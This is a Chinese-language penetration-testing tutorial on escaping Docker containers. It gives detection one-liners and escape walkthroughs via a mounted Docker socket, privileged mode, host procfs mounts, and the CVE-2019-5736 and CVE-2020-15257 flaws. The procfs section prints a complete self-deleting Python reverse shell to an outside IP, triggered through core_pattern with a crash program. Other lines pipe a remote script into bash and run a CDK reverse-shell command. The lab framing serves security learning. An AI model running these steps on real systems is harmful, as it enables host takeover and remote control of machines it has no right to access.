什么是Docker
简而言之就是一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。
Docker技术对于渗透测试的影响
docker环境对于渗透测试的影响就是攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限
这时候就有一个衍生技术docker逃逸,Docker容器逃逸是指攻击者突破容器的隔离机制,获取底层主机系统的控制权,类似于以前听过较多的虚拟机逃逸
容器逃逸方法总结
在开始之前对于容器逃逸主要有以下三种方法:
- 不安全的配置
- 相关程序漏洞
- 内核漏洞
#判断是否为容器环境
当拿到shell权限,看到数字和字母随机生成的主机名大概率猜到在容器里了,查看进程,进程数很少,PID为1的进程为业务进程,这也是容器环境的典型特征。当然,以上这两种都是比较主观的判断。
可参考文章判断方法:https://blog.csdn.net/qq_23936389/article/details/131486643
这里列举一个判断方法,在高权限情况下执行命令
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
不安全启动
(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
1、特权模式
执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
如果返回 Not privileged mode 则说明当前不是特权模式
#2、挂载 Docker Socket
执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
如果返回 Docker Socket is not mounted. 则说明没有挂载
#3、挂载 procfs
执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
如果返回 Procfs is not mounted. 则说明没有挂载
#4、挂载宿主机根目录
执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."
如果返回 Root directory is not mounted. 则说明没有挂载
#5、Docker remote api 未授权访问
执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."
如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问
容器逃逸检测脚本
项目地址:https://github.com/teamssix/container-escape-check
直接在容器中执行以下命令即可
wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O -| bash
挂载 Docker Socket 逃逸
Docker Socket 用来与守护进程通信即查询信息或者下发命令。
Socket 逃逸简单来说就挂载 Docker Socket 逃逸是通过在容器内挂载宿主机的 /var/run/docker.sock
文件,利用 Docker 守护进程的权限,从而在宿主机上创建和运行新的容器,实现从容器到宿主机的权限逃逸。
#拉去环境 docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu #进入环境 docker exec -it with_docker_sock /bin/bash #检测环境 ls -lah /var/run/docker.sock
最近dockerhub已经不能访问了,使用原先的方式安装docker,服务器上也总是连接不上,感觉实战中还是因为白名单网站的缘故最好的方法还是建议先尝试访问官方网站自动化安装
这里提供几个方法尝试避免网络问题导致下载失败的问题
# 更新软件包索引 sudo apt-get update # 安装需要的软件包以使apt能够通过HTTPS使用仓库 sudo apt-get install ca-certificates curl gnupg lsb-release #官方安装程序 curl -fsSL https://get.docker.com/| sh #使用--mirror参数来指定镜像源 curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun # 验证是否成功安装了docker systemctl status docker docker --version
或
# 添加阿里云官方GPG密钥 curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add - # 写入阿里云Docker仓库地址 sh -c 'echo "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable" > /etc/apt/sources.list.d/docker.list 或使用清华大学源 # 添加Docker官方的GPG密钥 curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg # 设置稳定版仓库 echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
更新源并安装Docker
apt-get update apt-get install docker-ce docker-ce-cli containerd.io # 验证是否成功安装了docker systemctl status docker docker --version
实在还是没法安装可以本机下载然后传输到目标主机,就是流量太大容易
wget -q https://get.docker.com/ -O get-docker.sh sh get-docker.sh
容器内成功安装好docker后在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash chroot /host
逃逸成功
root@e51f4a967c75:/# docker --version Docker version 27.2.0, build 3ab4256 root@e51f4a967c75:/# docker run -it -v /:/host ubuntu /bin/bash root@0e2481d99793:/# chroot /host # ls bin dev home lib32 libx32 media opt root sbin srv sys usr boot etc lib lib64 lost+found mnt proc run snap swap.img tmp var # ls root 1.sh Desktop Documents Downloads Music Pictures Public Templates Videos burp2024 docker-compose snap #
本机root目录
成功将本机目录挂载到新的容器内部
成功后chroot /test 切换后和打redis一样,定时任务反弹shell或者ssh传公钥
Privileged 特权模式容器逃逸
特权模式容器逃逸指的是在容器以特权模式(--privileged
)运行时,容器内的进程能够获取宿主机上的root权限,从而可以执行如挂载文件系统、访问所有设备等操作,攻击者可能利用这种特权访问宿主机系统,实现从容器到宿主机的逃逸。特权模式下,容器内的root用户拥有等同于宿主机root用户的权限,这使得逃逸变得相对容易。
以特权模式进入一个环境
docker run --rm --privileged=true -it alpine
#检测是否为docker环境 / # ls -al / total 64 drwxr-xr-x 1 root root 4096 Sep 3 08:54 . drwxr-xr-x 1 root root 4096 Sep 3 08:54 .. -rwxr-xr-x 1 root root 0 Sep 3 08:54 .dockerenv #判断当前是否为特权模式 cat /proc/self/status | grep CapEff
成功逃逸
挂载宿主机procfs逃逸
将宿主机/proc/sys/kernel/core_pattern文件挂载到容器/host/proc/sys/kernel/core_pattern中
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
在容器中找到两个core_pattern文件那可能就是挂载了宿主机的 procfs
root@1b4722987fd1:/tmp# find / -name core_pattern /proc/sys/kernel/core_pattern #容器本身procfs /host/proc/sys/kernel/core_pattern #宿主机procfs
找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir #将work目录变成merged目录就是容器所在宿主机的绝对路径 workdir=/var/lib/docker/overlay2/ba7735195668f14dcd3109006c55f460a184e0004a7627b7806ee805a982d5db/
创建反弹shell脚本
cat >/tmp/.x.py << EOF #!/usr/bin/python import os import pty import socket lhost = "192.168.0.21" lport = 8848 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") os.remove('/tmp/.x.py') s.close() if __name__ == "__main__": main() EOF
赋予执行权限 chmod 777 /tmp/.x.py
写入反弹 shell文件在宿主机执行路径到目标的/proc/sys/kernel/core_pattern 文件
echo -e "|/var/lib/docker/overlay2/ba7735195668f14dcd3109006c55f460a184e0004a7627b7806ee805a982d5db/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
/proc/sys/kernel/core_pattern 是 Linux 系统中的一个特殊文件,它属于 /proc 文件系统,这是一个虚拟文件系统,提供了一个接口到内核数据结构。这个特定文件用于定义当程序崩溃导致核心转储(core dump)时,核心转储文件的命名模式和位置。
核心转储是操作系统在程序发生严重错误(如段错误)时创建的文件,包含了程序崩溃时的内存镜像和有关程序状态的其他信息,对于程序调试和确定崩溃原因非常有用。
- core_pattern 文件的内容决定了核心转储文件的命名和存储位置。
- 默认情况下,这个文件可能只包含一个单词 core,表示核心转储文件将被命名为 core 并存储在程序崩溃时的当前目录下。
- 可以配置这个文件来更改核心转储文件的存储位置和命名方式。例如,可以设置路径和文件名,甚至可以指定一个处理核心转储的程序。
- 上述解释就是我们要将反弹shell文件路径写入core_pattern 中写入引起docker崩溃的文件,诱导系统加载core_pattern 文件
安装vim以及gcc (实战建议找同内核的机器编译好传上去)
apt-get update -y && apt-get install vim gcc -y
写入崩溃文件
cat >/tmp/x.c << EOF #include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; } EOF
编译好执行
gcc x.c -o x ./x
另一台机器开启监听
nc -lvvp 8848
云原生-Docker安全-容器逃逸&版本漏洞
CVE-2019-5736 runc容器逃逸
- 复现建议:复现之前做好快照,因为复现过程中会破坏docker环境。
- 漏洞影响版本:docker version <=18.09.2 RunC version <=1.0-rc6
下载特定版本清华大学镜像站点历史包,这里依赖难解决
# 下载特定版本的 Docker CE `.deb` 包 wget https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce_18.06.1~ce~3-0~ubuntu_amd64.deb # 安装 `.deb` 包 dpkg -i docker-ce_18.06.1~ce~3-0~ubuntu_amd64.deb # 解决依赖问题 apt-get install -f
或centos用阿里的源
# 更新系统并安装必要的依赖项 sudo yum update -y sudo yum install -y yum-utils device-mapper-persistent-data lvm2 # 添加阿里云的 Docker 仓库 sudo vi /etc/yum.repos.d/docker-ce.repo # 添加以下内容: [docker-ce-stable] name=Docker CE Stable - $basearch baseurl=https://mirrors.aliyun.com/docker-ce/linux/centos/7/$basearch/stable enabled=1 gpgcheck=1 gpgkey=https://mirrors.aliyun.com/docker-ce/linux/centos/gpg # 列出可用的 Docker 版本 yum list docker-ce --showduplicates | sort -r # 安装特定版本的 Docker sudo yum install docker-ce-18.06.1.ce-3.el7 # 启动并启用 Docker sudo systemctl start docker sudo systemctl enable docker # 删除现有版本的 runC sudo yum remove -y runc # 使用清华大学开源软件镜像站下载 runC curl -L -o /usr/bin/runc https://mirrors.tuna.tsinghua.edu.cn/github-release/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64 sudo 从 # 验证 Docker 版本 docker --version # 验证 runC 版本 runc --version
POC下载地址CVE-2019-5736-PoC
对main.go文件内容进行修改
使用go环境编译好后上传至目标
由于是模拟环境,因此在这里就在终端直接上传了,如果在实战情况下拿了shell,应该也有上传文件的权限
上传之后赋予POC执行权限。
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #复制至虚拟机运行 docker cp main xxxx:/ chmod 777 main ./main
执行完POC后看到successfully我们需要模拟管理员重新进入容器才能成功执行
[root@hello ~]# docker exec -it fc03 /bin/bash No help topic for '/bin/bash'
成功逃逸
CVE-2020-15257 containerd逃逸
- 漏洞影响版本:
containerd < 1.4.3
containerd < 1.3.9
这里使用阿里云的源安装对应漏洞版本的Docker
sudo apt-get update sudo apt-get install -y ca-certificates curl software-properties-common curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://mirrors.aliyun.com/docker-ce/linux/ubuntu bionic stable" sudo apt-get update apt-cache madison docker-ce sudo apt-get install -y docker-ce=5:19.03.6~3-0~ubuntu-bionic docker-ce-cli=5:19.03.6~3-0~ubuntu-bionic containerd.io=1.2.4-1
用root用户以共享主机网络的方式启动容器--net=host
docker run -itd --net=host ubuntu:latest /bin/bash docker exec -it 容器id /bin/bash
将自动化CDK复制到容器运行
docker cp cdk_linux_amd64 容器id:/ chmod 777 cdk_linux_amd64
尝试自动化检测漏洞
./cdk_linux_amd64 auto-escape id # ./cdk_linux_amd64 run shim-pwn reverse 192.168.0.24 8888 #反弹shell
这里按照网上的方法一直复现不成功,尝试换了很多环境,怀疑是用的官方仓库缺少了一些组件,这里就等有空成功研究完复现了再补上
#所需版本 docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
这里用自动化脚本测试特权模式成功
自动挂载成功